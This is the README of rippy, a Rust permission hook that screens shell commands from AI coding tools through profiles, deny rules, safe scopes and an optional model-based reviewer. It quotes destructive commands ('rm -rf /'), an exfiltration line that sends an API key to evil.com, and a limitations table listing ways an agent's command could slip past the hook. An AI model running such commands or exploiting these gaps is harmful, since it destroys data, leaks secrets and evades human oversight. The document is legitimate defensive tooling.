A fast shell command safety hook for AI coding tools — written in Rust.
Docs & homepage: https://rippy.pecan.si
rippy intercepts shell commands from Claude Code, Cursor, Gemini CLI, and Codex CLI, parses them with rable (a pure-Rust bash parser), and automatically approves safe commands while blocking dangerous ones.
Fully inspired by Dippy by @ldayton — rippy is a Rust rewrite with drop-in config compatibility, faster startup, and no runtime dependencies.
| Dippy | rippy | |
|---|---|---|
| Language | Python | Rust |
| Runtime | Python 3.9+, pip | Single static binary |
| Startup | ~200ms | <1ms |
| Parser | bash-parser (Parable) | rable (pure Rust) |
| Config | .dippy (flat) |
.rippy.toml (structured; reads legacy .rippy / .dippy too) |
| Handlers | ~50 commands | 100+ commands |
| File analysis | — | Reads .py, .sql, .sh, .awk, .graphql for informed decisions |
| CC permissions | — | Reads Claude Code settings.json allow/deny/ask rules |
brew install mpecan/tools/rippycargo install rippy-clicargo binstall rippy-cliDownload prebuilt binaries from Releases for:
- macOS (Apple Silicon, Intel)
- Linux (x86_64, aarch64)
A separate, opt-in distribution that can ask the Jev
decision model about commands rippy asks about only because it is unsure, never about commands
it knows need your approval. It installs the same rippy binary, so install one distribution or
the other. The default distribution contains no network code at all.
brew install mpecan/tools/rippy-jev # conflicts with the rippy formula
cargo install rippy-cli --features jev
cargo binstall rippy-cli --pkg-url '{ repo }/releases/download/rippy-cli-v{ version }/rippy-jev-v{ version }-{ target }.tar.gz'rippy --version ends in +jev on this build. It does nothing until enabled; see
Jev review of uncertain asks. It can also use
a local model instead of a hosted one, so commands never leave your machine; see
Run it locally.
Add to ~/.claude/settings.json (or .claude/settings.json in your project):
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [{ "type": "command", "command": "rippy --mode claude" }]
}
]
}
}{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [{ "type": "command", "command": "rippy --mode cursor" }]
}
]
}
}{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [{ "type": "command", "command": "rippy --mode gemini" }]
}
]
}
}That's it. rippy reads JSON from stdin and returns a verdict on stdout. Your AI tool handles the rest.
Packages are preconfigured safety profiles. Pick one that matches how you work:
review [===] Full supervision. Every command asks.
develop [==.] Auto-approves builds, tests, VCS. Asks for destructive ops.
autopilot [=..] Maximum AI autonomy. Only catastrophic ops are blocked.
Set up with interactive package selection:
rippy initOr specify directly:
rippy init --package developManage packages anytime with rippy profile:
rippy profile list # see all packages (built-in + custom)
rippy profile show develop # see what a package does
rippy profile set autopilot # switch packagesPackages are a starting point — layer your own rules on top. See the Packages wiki for full details on what each package auto-approves, asks, and blocks.
Create your own packages in ~/.rippy/packages/<name>.toml using the same
TOML format. Use extends = "develop" (or another built-in) in the [meta]
section to inherit rules from a built-in base and layer your own on top:
# ~/.rippy/packages/backend-dev.toml
[meta]
name = "backend-dev"
tagline = "Go + Postgres + K8s workflow"
extends = "develop"
[[rules]]
action = "allow"
command = "kubectl"
subcommands = ["get", "describe", "logs"]
[[rules]]
action = "deny"
pattern = "kubectl delete"
message = "destructive — run manually"Then activate it like any built-in:
rippy profile set backend-dev
# or: set package = "backend-dev" in [settings]Custom packages appear in rippy profile list under a "Custom packages:"
section and work with rippy profile show <name>. Built-in names
(review, develop, autopilot) always take priority — if a custom file
shadows one, rippy uses the built-in and prints a warning.
stdin (JSON) → parse command → AST analysis → evaluate rules → verdict (JSON) → stdout
- Reads a JSON hook payload from stdin
- Detects the AI tool mode (or uses
--mode) - Checks Claude Code permission rules (
settings.jsonallow/deny/ask) - Checks user config rules (
.rippyfiles) - Parses the command into an AST with rable
- Evaluates against built-in safety rules and 100+ CLI-specific handlers
- For file-referencing commands (
python script.py,psql -f query.sql,bash script.sh), reads and analyzes file contents - Returns a JSON verdict on stdout
Exit codes: 0 = allow, 2 = ask/deny, 1 = error
rippy has 130+ commands in its safe allowlist (read-only tools like cat, ls, grep, jq, rg, etc.) plus 40+ CLI-specific handlers that understand subcommand safety:
| Command | Safe | Needs approval |
|---|---|---|
git |
status, log, diff, branch |
push, reset, rebase |
docker |
ps, images, logs |
run, exec, rm |
cargo |
test, build, check, clippy |
run, publish, install |
python |
-c 'print(1)', safe scripts |
-c 'import os', unknown scripts |
kubectl |
get, describe, logs |
apply, delete, exec |
psql |
-c 'SELECT ...', read-only .sql files |
write SQL, interactive |
gh |
pr view, issue list |
pr create, pr merge |
ansible |
--check, --syntax-check, ansible-doc |
playbook runs, vault encrypt |
Default for unknown commands: Ask (fail-safe).
The complete, generated list — every allowlist, handler surface and rule that can auto-approve — is in docs/allow-catalog.md. The handler sections are the surface each handler declares; CI fails when the file drifts from those declarations, when a listed surface is not actually approved, and when a handler approves a probed sibling verb it never declared. So a widening shows up there as a diff.
The easiest way to get started is with a package (see Packages above). For full control, rippy loads config from these tiers (lowest to highest priority):
- Built-in stdlib: safe allowlist + 100+ CLI handlers
- Package:
package = "develop"in settings (optional, loaded from built-in TOML) - Global config:
~/.rippy/config.toml(flat~/.rippy/config/~/.dippy/configalso read for backward compatibility) - Project config:
.rippy.tomlwalked up from cwd (flat.rippy/.dippyalso read) - Environment:
RIPPY_CONFIGorDIPPY_CONFIGenv var
Additionally, Claude Code settings (~/.claude/settings.json → permissions.allow/deny/ask) are checked as a separate pre-analysis step before config rules are evaluated.
Write new configs as .rippy.toml. TOML is where new features land — structured matching (command / subcommand / flags / args-contain) is TOML-only, and rippy init, rippy allow, rippy deny, and rippy ask all write to .rippy.toml.
[settings]
default = "ask"
package = "develop" # start with a safety package
# Block dangerous commands with guidance
[[rules]]
action = "deny"
pattern = "rm -rf /"
message = "Never delete the root filesystem"
# Structured matching — pins the rule to `git push --force`
# without relying on prefix tricks
[[rules]]
action = "deny"
command = "git"
subcommand = "push"
flags = ["--force"]
message = "Use --force-with-lease instead"
# Allow specific safe patterns
[[rules]]
action = "allow"
pattern = "git status"
# Redirect rules (block writes to sensitive paths)
[[rules]]
action = "deny-redirect"
pattern = "**/.env*"
message = "Do not write to environment files"Starter configs live in examples/: recommended.rippy.toml, review.rippy.toml, autopilot.rippy.toml.
The legacy flat .rippy / .dippy format (one rule per line, inherited from Dippy) is still loaded, so existing configs keep working. It can't express structured matching; run rippy migrate to convert a flat file to .rippy.toml. See examples/recommended.rippy for a flat example and the docs for the full grammar.
TOML action |
Description |
|---|---|
allow / ask / deny |
Command rules (match via pattern or structured fields) |
allow-redirect / ask-redirect / deny-redirect |
Redirect rules — gate writes to sensitive paths |
after |
Post-execution feedback message |
allow-mcp / ask-mcp / deny-mcp |
MCP tool rules |
Plus [settings] (default, log, log-full, tracking, package, auto-mode) and [[aliases]] (source / target). Any rule can also carry a when = { … } clause to gate it on runtime context (git branch, cwd, env var, file existence, or an external command) — see the Conditional rules section for the full grammar.
Secrets stay out of the history. rippy expands $VAR to judge a command, and shows what it judged as (resolved: …). Everything it shows or keeps (that reason and any reason quoting the resolved command, -v and rippy inspect, the log file and the tracking database) has secret-looking values replaced by <redacted>: the value of any variable whose name marks a secret (GITHUB_TOKEN, PGPASSWORD, MYSQL_PWD, …), whatever it looks like, plus credential flags, secret-named assignments and JSON keys, auth headers, URL credentials and provider key formats. Commands are still judged on their real values. Redaction covers common shapes, not every secret; see docs/security-invariants.md.
By default rippy only auto-approves path operations (cd, mkdir, git -C … log) that stay inside the project directory (plus /tmp and /var/tmp). Anything outside prompts. Safe scopes let you opt specific sibling directories into that trusted set so cross-repo research stops prompting:
[scopes]
safe = ["~/src", "/opt/repos"]Entries support a leading ~ and $VAR / ${VAR} expansion, and ./.. are normalized away. Paths that resolve to the filesystem root (/) or an empty path are rejected — declaring / would auto-approve nearly the whole filesystem.
The legacy [cd] table is still accepted as an alias and feeds the same list:
[cd]
allowed-dirs = ["/opt/repos"] # equivalent to [scopes] safeSemantics inside a declared scope mirror the project directory:
- Reads are allowed —
cd ~/src/other,git -C ~/src/other log,mkdir ~/src/other/tmpauto-approve. - Writes still ask —
git -C ~/src/other push(and other mutating subcommands) still prompt.
Write/append redirects whose target resolves inside the shared trusted set — /tmp and /var/tmp (plus their macOS /private equivalents, which cover the session scratchpad) and any declared safe scope — are auto-approved, so git diff > /tmp/out or cmd >> /private/tmp/…/scratchpad/log no longer prompt. Everything else still asks:
- Project files still ask — unlike
cd/mkdir, a redirect into the project directory (echo x > src/foo.rs) keeps prompting; auto-approval here is scoped to the safe dirs and declared scopes only, never the cwd. - Other paths ask —
> /etc/hosts,> ~/.bashrc, and any target outside the trusted set prompt. - Dynamic targets always ask — a target containing a shell expansion (
> $VAR,> $(…)), a leading~, or a glob (> /tmp/*) is never statically trusted; traversal like> /tmp/../etc/xis normalized before the check, so it asks too. - Self-protected paths still deny — a redirect that would overwrite a rippy config (
> .rippy) is still blocked, and explicitallow-redirect/deny-redirectrules still win.
Manage scopes from the CLI instead of hand-editing:
rippy scope add ~/src # add to project .rippy.toml (use --global for ~/.rippy/config.toml)
rippy scope list # show declared scopes
rippy scope remove ~/src # remove oneOpt-in and transparency guarantees:
- Scopes declared in a project
.rippy.tomlonly take effect afterrippy trust— an untrusted project config is ignored, andrippy trustflags scope declarations as protection-weakening before you approve them. - Non-goal (deliberate): read-only git against an undeclared path still prompts.
git -C <any-repo> logruns that repo's.git/config(pager/alias) code, so it is never auto-approved without an explicit scope covering it.
Claude Code can run in an auto permission mode (acceptEdits, auto, dontAsk, bypassPermissions) where the user has opted into fewer prompts. rippy adapts its uncertain (ask) verdicts to that choice, while keeping deny a hard floor:
| rippy verdict | manual (default / plan) |
auto modes |
|---|---|---|
| deny | blocks | blocks — holds in every mode |
| allow | fast-path approve | fast-path approve |
| ask | forces rippy's prompt | defers — steps aside so the mode decides |
Control this with the auto-mode setting:
[settings]
auto-mode = "defer" # default: yield uncertain verdicts to auto modes
# auto-mode = "ask" # opt out: always force rippy's prompt, even in auto modesSafety note: because
askyields to auto modes, anything you truly want stopped in an auto mode must be adenyrule, notask. Classify genuinely dangerous patterns asdeny.
rippy asks for two reasons: because a human must approve the command (git push --force, rm,
your own ask rules), or because rippy cannot tell whether it is safe (an unknown command, an
unresolvable $VAR). The rippy-jev build can send the second kind only to Jev, which may
approve it or leave it as an ask. It never blocks anything, and it never touches an allow, a
deny, or an approval ask.
# ~/.rippy/config.toml — ignored (with a warning) in a project .rippy.toml
[jev]
enabled = true
endpoint = "https://openrouter.ai/api/v1/systemone" # or https://api.typesafe.ai/v1/systemone
model = "jev-1.13" # "jev-latest" on TypeSafe's own API
api-key-env = "OPENROUTER_API_KEY" # the key is read only from this variable
allow-effects = ["read_only"] # opt in: "remote_read", "local_change"
min-confidence = 0.9 # plus per-risk gates, see docs/jev.md
timeout-ms = 2000To keep commands on your machine, point [jev] at a local
rippy-kev model (open, Apache-2.0) instead:
| model | weights | median per command (M4 Max) | min-confidence |
|---|---|---|---|
| rippy-kev-4b | Risethagain/rippy-kev-4b | ~0.75 s | 0.75 |
| rippy-kev-0.8b | Risethagain/rippy-kev-0.8b | ~0.25 s | 0.85 |
# in a checkout of https://github.com/jaredpalmer/kev, after `uv sync --extra serve`
uv run --extra serve python -m kev.serve --run Risethagain/rippy-kev-4b --port 8012
export RIPPY_KEV_KEY=local # any non-empty value, where your AI tool is launched[jev]
enabled = true
endpoint = "http://127.0.0.1:8012/v1/systemone"
model = "kev-latest"
api-key-env = "RIPPY_KEV_KEY"
timeout-ms = 5000 # local models need more than the 2000 default
min-confidence = 0.75 # rippy-kev-0.8b: 0.85The models need rippy 0.2.4 or later. Setup with llama.cpp, checks and troubleshooting are in the model-assisted review guide; training and evaluation are in docs/jev.md.
Unless a point says otherwise, these apply to any endpoint, hosted or local.
- With a hosted endpoint, commands leave your machine. Eligible commands are sent with
comments removed and secrets replaced by
<redacted>: assignment andNAME=valuevalues, credential flags,Bearer/Authorizationvalues, token shapes and JWTs, and URL credentials and query secrets. Variable values are never sent. Redaction covers common shapes; it is not a guarantee. Only plain commands are sent: never ones with a group, loop, substitution, heredoc, stdin redirect,NAME=valueprefix, multiple lines or non-ASCII text. A local endpoint gets the same redacted command, and nothing leaves the machine. - It trades some safety for fewer prompts. The model judges a command by its text, so
rippy never sends one whose behaviour is defined elsewhere:
./scripts/*and other path- or script-named programs, task runners (make,npm,poetry, …), unknown git subcommands, interpreters given any argument, anything rippy judged through a wrapper, alias or a script's contents (timeout 5 …,xargs …,bash script.sh),--flag=patharguments, remote contexts (docker exec), programs that resolve inside the project, and rippy's own CLI. The model is also asked whether a command runs project code (tests, builds, linters, hooks) and such commands keep their ask. A misleading program name onPATHcan still mislead it. - Suspicious answers escalate. If the model sees possible exfiltration, or the command text
trying to steer its own classification, the ask stays, gets a warning, and always prompts,
even under
auto-mode = "defer". - Failures change nothing. A timeout, HTTP error, missing key or odd answer leaves the ask
as it was, with
(jev unavailable: …)in the reason. - Every decision is visible. Approvals read
jev: approved (read_only, conf 0.97 >= 0.90, …), and the JSON log records the state sent and the model's raw answers. Userippy jev '<command>'to check commands against your thresholds before relying on them.
The design, threat model and measurements are in docs/jev.md.
- Default: prefix matching —
gitmatchesgit status,git push, etc. *matches any characters,?matches one,[abc]character class,**globstar- Trailing
|forces exact matching —git|only matches baregit
| Command | Description |
|---|---|
rippy --mode claude |
Run as a hook (reads JSON from stdin, returns verdict) |
rippy init |
Initialize config with interactive package selection |
rippy profile list |
List available safety packages |
rippy profile show <name> |
Show details of a safety package |
rippy profile set <name> |
Activate a safety package |
rippy inspect [command] |
Show configured rules or trace a command decision |
rippy debug <command> |
Trace the full decision path for a command |
rippy jev <command> |
Show what Jev is sent and answers for a command (rippy-jev build only) |
rippy list safe |
List all auto-approved safe commands |
rippy list handlers |
List commands with dedicated handlers |
rippy list rules |
Show effective rules from all config sources |
rippy allow <pattern> |
Add an allow rule to config |
rippy deny <pattern> |
Add a deny rule to config |
rippy ask <pattern> |
Add an ask rule to config |
rippy scope add <dir> |
Declare a safe scope (add --global for ~/.rippy/config.toml) |
rippy scope list |
List declared safe scopes |
rippy scope remove <dir> |
Remove a declared safe scope |
rippy suggest |
Analyze tracking data and suggest config rules |
rippy stats |
Show aggregate decision tracking statistics |
rippy trust |
Manage trust for project-level config files |
rippy setup claude-code |
Install rippy as a hook for Claude Code |
rippy setup gemini |
Install rippy as a hook for Gemini CLI |
rippy setup cursor |
Install rippy as a hook for Cursor |
rippy setup tokf |
Configure tokf to use rippy as its permission engine |
rippy discover <cmd> |
Discover flag aliases from command help output |
rippy migrate |
Convert .rippy config to .rippy.toml format |
rippy reads .dippy config files and the DIPPY_CONFIG environment variable automatically. To migrate:
- Install rippy
- Replace
dippywithrippy --mode claudein your hook config - Your existing
.dippyconfig files work as-is
Optionally rename .dippy → .rippy and ~/.dippy/config → ~/.rippy/config.
rippy works as a permission engine for tokf (a CLI output compressor for LLM context). When paired together, tokf handles output compression while rippy handles permission decisions.
See tokf's external permission engine docs for setup.
rippy is a permission system — it adds friction before dangerous commands execute. It is not a sandbox, container, or security boundary.
- Auto-execution of dangerous commands —
rm -rf /,dd,chmod 777, etc. are blocked or require approval - Unsafe subcommand usage —
git push --force,docker run,kubectl deleterequire approval even thoughgit statusanddocker psare auto-approved - File overwrites — redirect rules block writes to
.env,/etc/*, and other sensitive paths - Blind script execution — Python, SQL, shell, and AWK files are read and analyzed for dangerous patterns before execution
- Unknown commands — anything not in the safe allowlist or handled by a specific handler defaults to "ask"
| Limitation | Impact | Mitigation |
|---|---|---|
| Variables not evaluated | rm $VAR is analyzed without knowing $VAR's value |
rippy conservatively asks when variable expansions are detected |
| Shell aliases invisible | Aliases defined in .bashrc/.zshrc bypass analysis |
Only rippy config-defined aliases are resolved |
| Quote handling is structural | ANSI-C quoting ($'\x72\x6d') is not normalized |
The parser handles standard quoting; exotic forms may pass through |
| File analysis is heuristic | import os as system in Python is not caught |
Dangerous patterns trigger "ask" (human review), not silent "allow" |
| Credential exfiltration | curl https://evil.com/$API_KEY uses a legitimate command |
rippy is command-aware, not data-aware; use network egress controls |
| Function definitions | f() { rm -rf /; }; f — function bodies are not analyzed |
Function definitions trigger "ask" conservatively |
Project-level .rippy config files (in cloned repos) could weaken protections if loaded unconditionally. rippy uses a trust model to prevent this:
- Untrusted by default — project configs in new repos are ignored until you run
rippy trust - Repo-level trust — once you trust a repo, config changes via
git pullare auto-trusted - Hash verification — if the config is modified outside of git (or in an untrusted repo), trust is revoked
- Packages follow trust — an untrusted project config cannot choose the active package, and
a package name is always a file in
~/.rippy/packages/, never a path - Self-protection — AI tools cannot modify rippy's config files, custom packages or trust database
- Global override —
trust-project-configs = truein~/.rippy/config.tomlopts into auto-trust for all project configs
See the rippy trust command for details.
rippy prevents accidental damage from AI-generated commands by requiring explicit approval for anything dangerous. It is most effective as part of a defense-in-depth strategy alongside branch protection, secret detection, and network egress controls.
Contributions welcome! rippy follows these conventions:
- Commits: Conventional Commits (
feat:,fix:,test:, etc.) - Quality:
cargo fmt && cargo clippy --all-targets -- -D warnings && cargo testmust pass - Testing: Every feature needs unit tests and integration tests
- Limits: 100-char lines, 60-line functions, cognitive complexity ≤ 15
rippy is a Rust rewrite of Dippy by @ldayton. The original Python implementation pioneered the concept of AI tool command safety hooks. rippy maintains full config compatibility with Dippy.
The bash parser is rable, a pure-Rust parser with 100% Parable test compatibility.
MIT